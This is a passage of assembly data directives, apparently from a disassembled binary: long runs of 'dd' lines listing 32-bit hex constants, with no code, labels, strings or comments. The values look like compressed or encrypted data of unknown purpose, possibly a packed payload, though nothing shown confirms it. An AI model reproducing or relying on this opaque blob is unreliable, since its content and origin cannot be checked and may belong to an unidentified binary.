294EC1CAh, 0DE34D438h, 9CEB9E0Ch dd 14AEB92Bh, 0A0307DFCh, 0F01F2E3Eh, 77716F6h, 405A698Fh dd 1F2B0E4Fh, 9E65CE06h, 0F8C09576h, 190A6027h, 7D6AC667h dd 92DE5688h, 3D18A12Ch, 0E2F53410h, 0A66519C1h, 308A8DEAh dd 80CC850Eh, 5E6ABC0Ah, 0A238C586h, 30C63BDAh, 1F224024h dd 7E2F00E1h, 0A892AB2h, 0B41C9064h, 1C3FB907h, 36C048C9h dd 0A985B771h, 5891E495h, 8803A29Ah, 82B16AA3h, 84BB8CC0h dd 0B061351Dh, 91899803h, 0B876C16Dh, 1D92A4D4h, 0E9E978Dh dd 83806248h, 73848AABh, 0F1F9C3Fh, 876BB687h, 0A873AD81h dd 0A7F0B783h, 298EB191h, 43381EA3h, 95C39079h, 54184AC7h dd 93087E63h, 0ABC396h, 88C063B0h, 1FB36DA9h, 0B7908600h dd 486C7E82h, 8DA7036Fh, 728A6EABh, 87AE64C0h, 8368BC0Ah dd 9E39681Eh, 9C0D8974h, 9807398Fh, 8F8048Ah, 102360CCh dd 0C513A3BFh, 0D5243E00h, 51C4FCA4h, 0AB860025h, 27DB50CDh dd 9D306F4Eh, 1DB6301Fh, 0DAF633DEh, 82F78918h, 880EAFEh dd 0AC488836h, 0ED7EBA00h, 476E3C28h, 352CA0D5h, 4E310AB4h dd 0C60C243Dh, 0C8E881Bh, 30431130h, 6CBAA90Bh, 0E6A059E9h dd 18C2DA44h, 40C479A3h, 0E9C18798h, 1FB4349Fh, 23B25985h dd 167854C3h, 43583928h, 9021BFA8h, 0EFBB90DFh, 80756BC8h dd 7730F2A3h, 1E3C3C26h, 0CC402457h, 59BBC186h, 0E2CB0759h dd 424BA781h, 0C80DBB8h, 29BA2E48h, 0A907E492h, 256530E5h dd 6FF8A2F0h, 0F9223BD1h, 19310518h, 53FC451Fh, 0D307FC92h dd 4F4D46BCh, 9CE1B9E0h, 283874A8h, 0A0CDCCBh, 2ACC2D36h dd 0D2AA8698h, 0A105B12Fh, 21BE780Bh, 9122643Ah, 0D17FF80Eh dd 408C15A4h, 81840FBCh, 0B0084FB8h, 0C8802067h, 0AF5CB23h dd 0AC4C8819h, 46E65F8h, 0C21EA0E0h, 4112F75Ch, 4016E648h dd 2600751h, 5419388Ch, 2E46A14h, 0A795E2A9h, 0C87C64CDh dd 904CE598h, 0C5C34566h, 9E688249h, 210CB547h, 4CD522A0h dd 0E0C48688h, 64823589h, 0D43410C3h, 40CA94A4h, 0C4AE01Eh dd 2AC82110h, 0F14680A1h, 280C8C99h, 0B8C6BE7h, 0BE800B7Fh dd 398A043Fh, 6F6088ABh, 50B2229Fh, 44F3F41Fh, 0EB221EC4h dd 840C4E6h, 8609564h, 41644A28h, 0E680354Ah, 0C8C9908h dd 8C42FE28h, 0A8E1971Ch, 907D0C66h, 0A852A9D1h, 142B1920h dd 0D1F28028h, 0E8850C99h, 808C0958h, 0EF449C35h, 6CE5887Ah dd 0A09348B1h, 412C4AE4h, 2214DE48h, 0A4FD1144h, 83745813h dd 57356D31h, 8DC85020h, 0F62A0E54h, 0B159CC2Eh, 0BEA84DE6h dd 0B4072681h, 91A50F42h, 21AB37D8h, 52A96558h, 842C6A4Ch dd 0B76BDB64h, 0E83DF68h, 1F335AA5h, 4868810h, 81CC199Ah dd 0F24EDA78h, 0A3F5122h, 3B0C11DCh, 346D18FCh, 0A879A18h dd 0AF761F1Ah, 4FED0FC4h, 0C03E3891h, 0A8A348BFh, 7D813C91h dd 1ED8F531h, 3C1CE845h, 0C02E1169h, 0D851E5B7h, 0FB1CC13Ch dd 101EDE3Ah, 21512312h, 0E637BDCh, 78689B7Ah, 910748AFh dd 7E72C04Ch, 79F89E75h, 96141E50h, 612E737Ch, 0DE00248Dh dd 66905C9h, 0B8872499h, 3E94C24Ch, 42854C60h, 0E37AA88h dd 0DEC07298h, 133A2F05h, 4B0402F4h, 0E5002678h, 9028DFC7h dd 7A091254h, 841004A0h, 36BC4155h, 204F7186h, 94DCB611h dd 307409ACh, 3F0CA023h, 3A6E194h, 4C42A9A8h, 83079A0h dd 8C652138h, 0A2C602E1h, 18C009B3h, 0B0A05362h, 7271EACCh dd 82E4E100h, 5C836E3Dh, 4ABF3D28h, 0FB1F4638h, 0D17881D5h dd 442BA2B4h, 889414B4h, 4C068709h, 18B740A8h, 596B28F8h dd 63C9220Eh, 21648C5Ah, 0F8700089h, 0A9A6BE91h, 0B8022CF4h dd 93FED9C8h, 3D1846FBh, 46009F8Bh, 0DCC28CB0h, 0B8302F15h dd 684B122h, 0A00A00A4h, 1C7437Ch, 0B6199079h, 271A380Dh dd 93311421h, 0EED8A8A8h, 0B058D957h, 727C188Bh, 8CD17BF8h dd 8D5F44h, 0C76F874h, 0D12E1367h, 2AA82554h, 5F63C314h dd 191D09D0h, 0F444809h, 0BB7F0F10h, 410005D9h, 8D84669h dd 5E213E63h, 4B3CA8BAh, 6B4406DCh, 71570785h, 0B00F7B00h dd 688BD681h, 18E3FA3h, 0E4085600h, 11072DC5h, 0C8C8A0B0h dd 0F877C386h, 0C044D193h, 88886164h, 27F8006Fh, 0D489CB78h dd 0BD582ED0h, 0FDA78158h, 682039B0h, 0A93A6607h, 14A609B6h dd 0EB296800h, 98435D9Ch, 7E711D1Ah, 128080DEh, 0E86D2A5Eh dd 393B0830h, 0EB89C6h, 987D3185h, 0DED79B7Fh, 0A99C4E00h dd 62C0813Ah, 0C1230C6Ch, 70D0D3EEh, 9050570Ah, 0AE006476h dd 307705AAh, 0D4488031h, 0A33D0105h, 0AA005CEEh, 0BC102262h dd 26A901F0h, 888F16D3h, 0E490214Bh, 0BCEDB105h, 2D3816D8h dd 23FF09BFh, 0F60A4CE6h, 7CA2577Fh, 6E40EF1Eh, 3BA97E42h dd 6851881h, 5B4F315Ah, 201F390h, 0ADE149A0h, 0A770E779h dd 0D2E80625h, 3A877009h, 2D672E0Ah, 790334D1h, 38D3778Dh dd 4A8001D9h, 35AA5752h, 30CF9A6Eh, 731106h, 9CD18CD0h dd 0C9CB7A4Eh, 0EB270E04h, 0C3C36AE2h, 5073A7h, 0DC3A438Ch dd 66DF1914h, 1E9FA01Eh, 0ABBCD5CFh, 3ECC2FCAh, 0E13907CCh dd 0B7D0556h, 0A9ABE7Fh, 9BC4B7C0h, 75F82151h, 6900A40Bh dd 10A6EBB8h, 712F0AF6h, 0D5DB03EDh, 26316ED8h, 0AF3FD905h dd 0D20085F7h, 61F3DB2h, 4875F889h, 3E80D81Dh, 0A793E2A6h dd 9F3A96C6h, 213860B9h, 12E29E64h, 90F39600h, 0A0B75BBBh dd 0CEEE00FCh, 575E8881h, 216CF6A4h, 8C9AD030h, 7A0B7804h dd 4C6272BEh, 0B70E02Fh dd 0B429E1Ah, 4A6AACD3h, 0A9E4382Eh, 0A8481223h, 0E18FC06Fh dd 8146A8A1h, 60033522h, 0DD6CE187h, 0A30FF032h, 155717Fh dd 9910F52Eh, 204239A8h, 398C8CD4h, 0D108F87Dh, 65645993h dd 0F8758E43h, 0E04DB0F1h, 0F300A17Eh, 0AB3AD094h, 0C3590806h dd 25F5F029h, 3171C4C8h, 0D1FA3E00h, 821978FCh, 78AD61D8h dd 104EA845h, 1DB108C9h, 0E433EFE6h, 99E4680h, 0D08040A2h dd 448109A9h, 71984F07h, 5C1072F3h, 14792D6Ah, 8378936Fh dd 0AE6E8D01h, 229633DDh, 0DE787868h, 12E4C348h, 0E02256E8h dd 405A31h, 1A754F5Bh, 1FF1EB6Eh, 2AB49304h, 1880AAA0h dd 125ADE4Bh, 37D8B49h, 0BD65761h, 0A0D91812h, 9D846500h dd 0E838585Fh, 0C4314C6Fh, 4AB80380h, 8E00BC47h, 0F5434C9Fh dd 25782F0Eh, 18A2AA44h, 4C64AB57h, 0F9AD4537h, 4C9404C9h dd 0E5F5B740h, 98EEA1C4h, 0A830AA00h, 0D79C4364h, 34D51665h dd 668004EFh, 0DD45012Dh, 0A3D06019h, 0A82040BBh, 1CF7D703h dd 99894A41h, 0A82CA0DDh, 760C3258h, 5EB93230h, 0AFF29707h dd 8F701C9Dh, 3CEF7C7h, 0C4277FDBh, 7DD2D104h, 11431CC1h dd 65DC5D7Ch, 0DACE00A2h, 0FFF56C59h, 6E2797CCh, 0B29CA030h dd 3B37E14Bh, 0E982AEA3h, 0D32E1661h, 7305C44h, 37475146h dd 8C50001Ah, 0CDB24F97h, 9F03FD36h, 0CC7B3265h, 0AA800594h dd 824B84EAh, 4CE88874h, 8680583Bh, 9B8D00BFh, 0B68BFED4h dd 28036C22h, 0A891B7C8h, 451ABF2h, 0CDD4928h, 0D8C4C836h dd 0CE11A204h, 0E892B261h, 0B7C309Eh, 92BE7E10h, 0B74F0E7h dd 0C00480DDh, 5056B4D3h, 0B312C11Dh, 316BE722h, 0BFF808ACh dd 2959A312h, 23B0F400h, 0D91AD2h, 0BEB5F472h, 0C9773EC0h dd 0ACF85AF8h, 884CC690h, 8C37BC60h, 0C80907F8h, 1899601h dd 9FD4C290h, 4758863h, 0C438EDF0h, 573C8277h, 55B3BF21h dd 0AE003028h, 8CF006A0h, 0EE00C0B2h, 1999DD98h, 6C88F34h dd 0FAA4D213h, 352EF04Ch, 4674C0EFh, 0AF0D0062h, 7932D430h dd 0AB580CF0h, 0C8803C1Dh, 0B89BF926h, 0C14058ACh, 4B08A118h dd 3294006Ch, 358A20AAh, 8098704Dh, 0A8A2E190h, 3B448C89h dd 0E1880061h, 0E4EEABBFh, 170A4AD5h, 9007ADF9h, 0F3608C47h dd 12A8149Fh, 15354DDh, 2D807E18h, 4F822CCh, 64C7CAAAh dd 43A92C82h, 770FD4B0h, 80C830EAh, 75822439h, 0CE00029Ah dd 0FFE19C26h, 0C9E2DC40h, 3066575Eh, 74F87950h, 11E2FE8Ch dd 88B4A792h, 9D638039h, 42EFEDE2h, 79875212h, 9F9CF300h dd 2A17350Eh, 0B84D07h, 0DEAB69EFh, 82F085A8h, 876FFD01h dd 672F46A9h, 0B880A830h, 4A504430h, 9E70B02h, 0E6C227A8h dd 1B28A018h, 7C94BA6Eh, 8F192E84h, 7014F00h, 28767759h dd 80EBC77Ch, 56C2A471h, 10B71080h, 2B18F9C4h, 0F4F04701h dd 7760736Eh, 4DAAE830h, 0C10478FFh, 0B02D65DBh, 443DF0D0h dd 0D2AD85DDh, 0BC01B6DFh, 4C21051Fh, 20EE1B00h, 9F4A989h dd 0B0E8A84Ah, 8D920096h, 57C24EDFh, 8F00DB29h, 3CA92724h dd 29DABDAh, 234EE71h, 444A558h, 25A3670Ch, 58D38033h dd 982608E0h, 0E076C510h, 109B6208h, 7F5211h, 61F00B6Eh dd 25828C43h, 0A96CE901h, 4FB5BBBEh, 8EDC5984h, 3164B422h dd 302C49h, 0B8386D8Ah, 4E7F368h, 30E660B7h, 1E8E6E8h dd 0DBB928BDh, 50802CADh, 6E4E9348h, 0F508AA9Bh, 42357D7h dd 0E0DEA4D1h, 0BB48C3E4h, 0F0164BFAh, 0CB767501h, 0A82C9ADCh dd 5F923601h, 4ED6886Fh, 0C6F81120h, 12DC7B81h, 0A4820428h dd 0BF8339Dh, 8A46BE7Dh, 73FE4B22h, 0BF5A0B01h, 55F4FDA9h dd 10C0E846h, 215708h, 8C97627Bh, 0A98EB6h, 9E91BF3Eh dd 0A53FAD92h, 803D9074h, 95761EA3h, 2C528280h, 3EB37F83h dd 0BD3F5584h, 0BC3E9A04h, 68078087h, 0BBEC9D93h, 369C3F3Dh dd 1F1128B4h, 7BC8DA4h, 60B18398h, 92BD3E9Ch, 68829A07h dd 0A987AE81h, 0B0A1A4C7h, 56E2A784h, 0BA8501B4h, 2B4CA280h dd 446443Ah, 6EA4B0AEh, 0B48348A7h, 0BE4CA802h, 18969997h dd 4BC0EF2h, 44CDE404h, 66B4E0h, 3A3A49Eh, 58FE1E19h, 0AC185F60h dd 9E80ABBAh, 39888498h, 6C04121Fh, 0A4C03DCDh, 0E061E9Bh dd 0DFD4D56Fh, 0C1900357h, 0E3B87B1Ch, 185ECD2Eh, 344BAC00h dd 1D7817AAh, 4B4C19C0h, 0EC38C329h, 8E7B4486h, 83DDA5Ah dd 51C27030h, 0A86040D3h, 838C969Eh, 35894A88h, 798786A7h dd 0C08BDF30h, 0A8E50DABh, 49D767Ch, 0DBBB3674h, 1BAD6C1Dh dd 105E40F2h, 0EBEFD5E0h, 684E2831h, 6CE1B075h, 1887001h dd 0F888F5A5h, 0AC02363Ah, 54FBD1EAh, 0D8C58830h, 0D5FC9C20h dd 78A3E033h, 1FB13AD7h, 8C0F5770h, 8C914C58h, 0E30A81E6h dd 887FEFEEh, 0F80615h, 0F5A2A01Eh, 0FA27D12Dh, 0B921h dd 663C090Bh, 831F1D9Ch, 48ECD878h, 481E3A45h, 0F4EE4833h dd 91762898h, 0E6605E64h, 23D4459h, 3D2F82Eh, 0D656EC51h dd 40D26B49h, 919E3EC0h, 1DA3685Ch, 968FAF8Dh, 96820E8Bh dd 0C0AA7832h, 58BD9050h, 0E7C548Dh, 9B6D7A3Fh, 0AC41A38Fh dd 0F82B6384h, 44A65A29h, 65359300h, 0BB944EFAh, 1F04ACA7h dd 14A9751Ah, 8D00C4Dh, 0ABB98738h, 4C3589FCh, 63528230h dd 21383E08h, 9E1FBE4Ch, 0A04A144Bh, 0F68120E8h, 10C60994h dd 6708B4CAh, 3711E8FAh, 3056123Fh, 6E21628Ch, 78220EFDh dd 4608CC44h, 7C084620h, 70012E41h, 460256F6h, 23F09C6Dh dd 0C4652F6h, 8C3E7B15h, 82065090h, 28639761h, 91FDA4A4h dd 4C224B09h, 894E4D44h, 2450124Fh, 91524851h, 44542253h dd 57895655h, 59245812h, 5B915A48h, 3E005C3Eh, 84719876h dd 77319E72h, 2137C179h, 8439B894h, 4974FB2h, 8548459h dd 7F499280h, 48251F5Ch, 983E3FCCh, 0D9013D3Eh, 6FB93720h dd 4924F046h, 975C8E1Dh, 9F1E9C1Eh, 0A71FA41Fh, 4032AC1Eh dd 46DD0294h, 0B603B904h, 89E1266Fh, 45A7E049h, 0FED74894h dd 55FF0487h, 88B32292h, 9A6E8E0Eh, 0A0748942h, 359F852Fh dd 0ACC0382Ah, 856FBA83h, 28946788h, 450471BBh, 2F381468h dd 0C0BAEA04h, 0A26406B9h, 0BB28022Dh, 0CD433526h, 0F9171083h dd 0C0382AB5h, 68E30851h, 0A30B0FDEh, 94862AB3h, 50F21839h dd 2BC6A100h, 0AC5C9337h, 0A91CA13Ah, 25BFD8F3h, 5666140Fh dd 418B2822h, 7DE0E4D4h, 0DC78638Ch, 3124D841h, 4A0BEC4Eh dd 0FC57ACD4h, 0BBC140C4h, 0A2802639h, 19426008h, 6BF0DF5Ah dd 3B8B8600h, 0CEB7B63h, 0E0B600A5h, 1E358392h, 7295BCD1h dd 0E76107B4h, 0C026DE57h, 2F1F307Dh, 0E3E279C0h, 3A0D709h dd 0E0205A8Fh, 26C84B7Eh, 7B00F2A5h, 0F6AAAE7Dh, 3FE137A0h dd 78F8C5F3h, 3E0F0025h, 8589FFF8h, 31011FEDh, 0ADD52CA1h dd 0F22B6C63h, 27D70088h, 28D07812h, 395F0003h, 525ABE9Fh dd 0D318586Fh, 0A6E02D41h, 4BBA7AAAh, 3CA874h, 0E9B72131h dd 179571h, 7E68913Eh, 944D2B9Fh, 0A0729200h, 1EE4A72Eh dd 54CDEA35h, 3014E837h, 0DEE1491Fh, 51002BABh, 0F4F5D9CAh dd 1CF0040Dh, 80648E3Ch, 4AD0996Ah, 626324EBh, 72B40778h dd 0ED931C50h, 507F942h, 30A92312h, 21F2B24Dh, 40292F03h dd 0D00A7C79h, 3D103893h, 5A3E975Dh, 153A5C07h, 53F805Bh dd 4FFA9F5Fh, 49029BFAh, 42865D0Bh, 7814940Eh, 9C643735h dd 3CA01130h, 339BF017h, 7490540h, 38836310h, 8995700Fh dd 98002328h dd 784C1A3Bh, 3069047Ch, 88188687h, 4B030F3Fh, 4C1B3DA1h dd 0CE80A699h, 84810728h, 0D04F0C44h, 4D301436h, 9B647887h dd 4331C734h, 4D599C15h, 0C479D29h, 8428978Ah, 95680B80h dd 14501338h, 88143C86h, 63114305h, 40141E9Ah, 0C77895ABh dd 9CF03A31h, 1846A430h, 0F6F5FB28h, 733B182Dh, 0A5D53196h dd 95661D00h, 15A07B26h, 5A89009Ah, 741C2517h, 5E074B50h dd 2962020Bh, 0BDAD9580h, 278E00FDh, 0A0E70C3Ah, 0CE01FFF0h dd 9D5713A8h, 71871EA5h, 0D078C87Bh, 9FCDF643h, 170BD300h dd 137C4060h, 283F6044h, 984BBFE7h, 69BC2F1Dh, 0AE229831h dd 4518A1A2h, 5968902Ch, 21143A21h, 91541368h, 9FCC3103h dd 0BD5908C0h, 0B8889775h, 29BE0F2Ah, 78204015h, 0D3380260h dd 0CC288BF8h, 0BE5991B8h, 303E6B32h, 0E9A89090h, 21D9C33Fh dd 28002B04h, 1BC0D61Ah, 30E8269Eh, 78409A55h, 0D014360Ah dd 10D09581h, 47C8C865h, 302AA562h, 8D18ADD8h, 2130BBFFh dd 98B9C1CCh, 87092DDDh, 0A1CDBF68h, 97724991h, 0F17FC898h dd 6281334h, 7880DC45h, 92E2C56Bh, 7BBF31C3h, 2B182A41h dd 9F8284Ch, 0F5848058h, 0A5D4889Fh, 1864AD24h, 0FFC03937h dd 63B601FDh, 0A69030E3h, 0CE3F1914h, 0DE18144Ch, 34E84458h dd 0BD6791C1h, 28209A95h, 38B9C17Ah, 48B3D61Bh, 9542F9A4h dd 744D2DB2h, 77A2B8B7h, 0CE421494h, 33718221h, 7846010Ch dd 0D8A8FE3Ch, 851A7C28h, 0D2086B59h, 0F1C40FFFh, 847128A4h dd 0E9A1EA46h, 6F210AA7h, 99A8A211h, 7D888942h, 106ABA44h dd 92A2A1B1h, 841A7211h, 9528AF39h, 790A2184h, 8C9441F8h dd 9092269h, 0A46C105Ch, 32A9D249h, 4C681D60h, 0E1483837h dd 2AC78160h, 61B53CBFh, 0A5840440h, 49994C3Dh, 0A3FF0C40h dd 2B902A60h, 64095388h, 931278B3h, 311348A0h, 0B0094247h dd 11A4ACEFh, 792129A4h, 81BC0C4Ch, 8B26F961h, 0A0119848h dd 692A0E19h, 80485C91h, 0BC30DE0Ch, 1260117Dh, 218DB1C9h dd 23A222E8h, 60A843DCh, 21376149h, 0E1E91871h, 53BA28A6h dd 0A880F603h, 900E5B5Eh, 83EC54h, 5D185C78h, 84EB689Ah dd 97FD0B0h, 0DF499526h, 50FB81Dh, 0FB32A061h, 245865Ch dd 56955F11h, 0DCC26F28h, 32A7FC60h, 0A1034AE8h, 78810538h dd 0BAC5A754h, 8269EC81h, 87584087h, 0C165C043h, 6352063Dh dd 4E177C40h, 10033E82h, 0F1E497B9h, 0E461329Ch, 540300Ch dd 4F0F3BB8h, 0C01C3095h, 28880E36h, 3D9B0E7Fh, 3B8A4E14h dd 81A6B60h, 0F060437h, 1D70954Eh, 0FA8A474Fh, 18489115h dd 328663C0h, 87016209h, 5B0C564Fh, 60752149h, 283C180Ch dd 0C45D1Ah, 98470F1Bh, 6C5A73FCh, 280038ACh, 0FC7DAC74h dd 3A3C9C7Ah, 6B2B610Ah, 8040A314h, 21FC6B79h, 63EE54ADh dd 9536963Dh, 2F89B74h, 0A20489Ah, 4238EB45h, 0E0AA04A0h dd 1A778FBh, 0A684E563h, 0E46BEF5Ch, 741D1B72h, 4C044E87h dd 34C03A95h, 9A1A33ADh, 604FE800h, 564028ACh, 4E48FC49h dd 63170098h, 74548583h, 4C11F894h, 5067404Ah, 1D288055h dd 59F06B88h, 6C282099h, 865BFC03h, 0A35D163Eh, 4662C248h dd 5A881C74h, 1090F422h, 0FCAF0460h, 30594848h, 143C9A00h dd 447A620h, 36FD90B2h, 587D24B4h, 4E047781h, 546045A1h dd 0F878135Ah, 1BD00363h, 0DC05C5Dh, 40C49F61h, 0C0C3854Fh dd 93FA020h, 3A587A4Ch, 403C4D0Fh, 0A1008C48h, 3A94612Dh dd 48EE6211h, 992670B0h, 530FFC43h, 1502949h, 84690DA0h dd 0A04CC1DFh, 0A15A6089h, 4458AC0Ch, 95651103h, 63681477h dd 429BDC40h, 0C87861A3h, 3E5C5B78h, 0F306017h, 0F1428720h dd 4F11A18Fh, 631A4880h, 9164993h, 18345A65h, 52AA043Eh dd 479C83F8h, 3D58C105h, 2201D473h, 20044F83h, 3C606395h dd 36BE034Eh, 0E3585D13h, 0B89DCC15h, 16091827h, 0F0049458h dd 0E1CC069h, 0FE88463h, 3D0FE890h, 98915E48h, 58439B30h dd 3C787C10h, 34024E18h, 7D9D611Ah, 0CAD7C047h, 6985F5F8h dd 0C4905F05h, 0B0349A7Dh, 0E49559B4h, 0D83958C4h, 98B0970Ch dd 33884D16h, 9295DC0Eh, 381ED81Dh, 3287163Eh, 1C81C424h dd 98B3758h, 0C40A0F49h, 964851E4h, 0C0418750h, 4C119A7Eh dd 26012070h, 1B108563h, 9BE3695Dh, 0D3640BC1h, 0F20C8BDh dd 0D22C4F52h, 80303C1Fh, 4C094387h, 2135344Eh, 5F208058h dd 183E3A9Bh, 22B0604Dh, 52FA9A7Fh, 5048185Ch, 0A08C8314h dd 121B1781h, 0BF045BBBh, 3D8F46A0h, 6D544F01h, 6C333BF4h dd 522925E0h, 96C51C57h, 1F183A0Ah, 34C00793h, 2E24D467h dd 68035361h, 560041BCh, 671E42EAh, 71C3DF3h, 3A28E761h dd 2E3F0069h, 1A42F458h, 1DC95131h, 0FB505056h, 0E0008B52h dd 96D4EFAh, 79B1F3Eh, 5F3A4306h, 732EC0F4h, 323A2903h dd 3444005Ch, 39273761h, 1FD4E956h, 38053A62h, 40D6BB1Fh dd 24FD761Dh, 0FE0F6D3Ah, 56363Ch, 95A3B26h, 5D320044h dd 7AF137FBh, 76E863E7h, 6D9C43F9h, 623926D8h, 0F5621C0h dd 7C5A1F27h, 603A1DFAh, 631D4CFDh, 6D702D98h, 0C2E253Ah dd 68215E17h, 7E500549h, 0A323CF8h, 5D342880h, 561F5A81h dd 8CE126F8h, 621B6085h, 80682FFAh, 0A60355Ah, 56401F38h dd 5C3A0009h, 613262F4h, 2E3EF301h, 5A4AD89Bh, 228D4D0h dd 0FB09601Fh, 4B631Ch, 1D32F4E0h, 39F86D1Dh, 0CC86214h dd 90FF67F1h, 1BC8A157h, 558560B9h, 323CF46Bh, 1045FA38h dd 0D26EAF0h, 4A036D32h, 3044F0E8h, 415C28C3h, 1F58A182h dd 0DC001C21h, 6043FF68h, 29382035h, 3C3A0967h, 3E067030h dd 43039B33h, 7CF349E8h, 0A911C840h, 804450C4h, 8AF18C23h dd 330C417Ch, 2B7C40E2h, 36FD3E62h, 88C58BA0h, 0DC1D2A0Ah dd 0D050FB0Ah, 0B840261Bh, 135F4FFAh, 1E3839FEh, 80415404h dd 56203B0Eh, 5C172162h, 4C1DB085h, 3460F1F0h, 0D0CF7BE2h dd 290C9E2Eh, 323F28F3h, 67E959F1h, 58252005h, 0BA0EF431h dd 8CE1088Ch, 72121F30h, 1C1CFB3Bh, 5AF12A00h, 90352B07h dd 0F44CFB44h, 2478A45Ch, 1238661Fh, 0CC20101Eh, 32F89B18h dd 277C0962h, 56E85A66h, 3A4213C0h, 2F201761h, 4480FA18h dd 117EA254h, 0C164A00h, 0F5049542h, 1E1508B8h, 4480BC99h dd 0E3D1A262h, 0B041C016h, 0A391717Eh, 448D3700h, 2D90547Ch dd 0D190029h, 1A2817B9h, 3830CD3Ch, 1E1B5016h, 49E701D2h dd 0F0CFFA98h, 0A488830Dh, 479D8Eh, 83AD3E80h, 0AE15C177h dd 0EF94C001h, 1C556699h, 3BB2081h, 4F8C4206h, 6C861120h dd 0F596A181h, 5844012Eh, 1765C882h, 7080B94Bh, 49D9EF9Bh dd 0F6D44206h, 60093A0Dh, 0E77B21C7h, 3ECA85D9h, 0CCF974CAh dd 0A0B8080Dh, 0C0848600h, 6AF00B24h, 1C495652h, 6936CA20h dd 47D079BAh, 114005B2h, 58887F8Ch, 0FC4800FBh, 9745A3F2h dd 4D669C13h, 210F08h, 69FC405Ah, 0B5F12B58h, 866233Eh dd 7FDC3E5h, 0C0255D1Bh, 0E3E61538h, 634FD300h, 39DA1DEBh dd 4E930626h, 0D0EA2B67h, 6A70A000h, 0BB15169Eh, 8AA9C0CCh dd 0B2DEF84Eh, 9D735A01h, 0A08E7BCAh, 0E97CB441h, 0CF5889DCh dd 3264A240h, 0A4910AAAh, 0BF6E23F4h, 3A1CE451h, 0A9E8AA50h dd 1FA83250h, 0D49688h, 0D13D984Ch, 0B6ACDE95h, 0FA8FB302h dd 433AF97Eh, 0A1F1E024h, 0E09890D1h, 2C918202h, 8EC1848h dd 0FC4246D9h, 7640D3C4h dd 0BBBD9E4h, 37BA4018h, 88100CC8h, 9A0AC21Fh, 98BE2E70h dd 2A671201h, 6420404Bh, 0E0115473h, 7B4D0097h, 8EB91A83h dd 935648CAh, 2A28201Ch, 0A41833h, 17AF909Ch, 0BA51521h dd 9A52F300h, 0CE9013Dh, 1DF700B9h, 19EA1165h, 0AFA37967h dd 85F893E1h, 0DEA259F8h, 82B3E84Eh, 8C1D6145h, 440278E4h dd 207966BDh, 0A90E093h, 0D0DBA215h, 607A08C4h, 60695EA3h dd 70303825h, 0C9020AB1h, 0EAA29BF5h, 59B88094h, 6096CC98h dd 0BB375062h, 1054C2E8h, 9203F28Ch, 7E9A545Ah, 7693C933h dd 21FF0898h, 5A058A53h, 20E22244h, 512E8C40h, 0CE5B98Dh dd 0E9886D2h, 1944C9C0h, 244C04h, 51FF511h, 0EA8B0A27h dd 68338C03h, 0A0480516h, 10ABF698h, 0C011D084h, 2826E281h dd 76A77020h, 0ECA0E48Ch, 3F8983CEh, 97C1841Bh, 10801DDDh dd 9B8A1141h, 0FC4A0114h, 1855A3F0h, 205C8907h, 0A40C0953h dd 0F024A566h, 0F89412F9h, 4A4800FEh, 18212D98h, 8AFFF8C0h dd 0B0B244h, 32119235h, 5125A49Ah, 0E6200461h, 0B4501AC3h dd 0E6BB6DAh, 96A2EC77h, 9C92CF61h, 94B2D998h, 0BCDC38C0h dd 61008CFDh, 0A1DD345Eh, 0C02B5166h, 4567F0B0h, 25E72E12h dd 8EF08C48h, 55E321D1h, 40D99429h, 63F8E0h, 5A7001B0h dd 1FEFDEF5h, 6E4FA3Eh, 735B6EEBh, 88195241h, 301446C0h dd 0B00435Eh, 988B138Dh, 26688EF3h, 9190A2EAh, 22F103C5h dd 0F87B369Fh, 50892882h, 603DE0B9h, 0C6C05850h, 0B0097CAh dd 186ACB8Fh, 984C14ABh, 0F2F02030h, 40A46C73h, 23785A48h dd 0D2911EE5h, 9C59114Dh, 4C800B88h, 90535A89h, 0A39B022Ah dd 1C9CA210h, 0A460F8CAh, 638048A5h, 812B003Fh, 0D76E1F2Eh dd 0F42EC4F0h, 959D0CFAh, 94C21D22h, 3518305Ch, 0FD2A8667h dd 44186C9Fh, 0AE39109Dh, 0AD420AC1h, 838F06Ch, 0C3E2C99h dd 18F140CDh, 0A995F8D5h, 98EC7FB8h, 0A8D150AAh, 2BE23B3Ah dd 11B4CA26h, 0D9EE8046h, 430C4244h, 0C622F7h, 9ED9E678h dd 0A288A309h, 9950BA64h, 809F2C7h, 48CADC14h, 84674h dd 0ABFDD44Bh, 93D1C82Bh, 30943870h, 44048062h, 210D34A5h dd 0C2173AE9h, 381412F8h, 8A90A079h, 3A2C009Ah, 63F93D6Ah dd 24C4F023h, 4FE08035h, 0B8CFEFE0h, 0D31E0E2Fh, 0FD0E36AFh dd 5783E008h, 0CE72AE4h, 0CC48A3Fh, 25019CB9h, 974A8BAEh dd 0E02654AAh, 6434F700h, 963C27CEh, 0F39D3516h, 6E1E0C00h dd 24D159C1h, 3FB82611h, 4FF9813h, 3D41258h, 0A69BC042h dd 8E1E2699h, 559040F4h, 0C665EE98h, 0E4084D28h, 0D9F0C04Ch dd 0DC21424Ah, 0FCF91F6h, 0E0D9E87Ah, 5511DC8Eh, 0A04E1DA2h dd 30CC0416h, 5D509018h, 5EECFFF1h, 0A4A1BF02h, 8A406996h dd 0AACE64A8h, 0BF808417h, 0A3AE4D88h, 1F820ACDh, 0C0E07691h dd 0CB8EFF99h, 89C4BA30h, 73080933h, 0C7A20063h, 98E7F2DBh dd 0E528359Ah, 10494EAh, 1AE3431Bh, 543738D0h, 0A09201D0h dd 98B7ED5Fh, 32089857h, 384BD821h, 6681D3D0h, 0F88D877Eh dd 4C6353h, 5BF7CD25h, 2427C63Ah, 0C51409CBh, 9F8C8078h dd 43048B74h, 9A6825A0h, 31E710C2h, 0F5003193h, 22642676h dd 8B520BFEh, 0E802FB5Ah, 0C8020931h, 4D0C4CC5h, 945C8Fh dd 48174125h, 0E4890711h, 48D9DC82h, 2092F204h, 849846CCh dd 0F7680370h, 1E6986A3h, 0CCA41005h, 0E401FCC8h, 0C01C393Ch dd 9464A0FCh, 0BC5CD6ECh, 26D13D24h, 8A080479h, 329712A9h dd 0E040907Ch, 88187530h, 6B091B1h, 91189AC0h, 180979C4h dd 6CC301CCh, 9E9B7243h, 20E85CAAh, 0D27EA013h, 91E97C40h dd 2ABF8D03h, 24A41997h, 0C468D4A2h, 34BCDCA0h, 0E212FD42h dd 0E424401Ch, 4ADAA271h, 95FF740Eh, 34856290h, 4D74C0DEh dd 0E0B0822Ah, 9347EA2h, 40CB181Ah, 0FCE23052h, 3BF16B31h dd 41F8AFC1h, 3A2098CCh, 34C9A30Bh, 3F23A094h, 8ED05003h dd 2B62DCA0h, 0D047D421h, 79CE7AF8h, 3C40153h, 0A1F78D9Dh dd 928A715Eh, 0EC625AC0h, 0ACBC6132h, 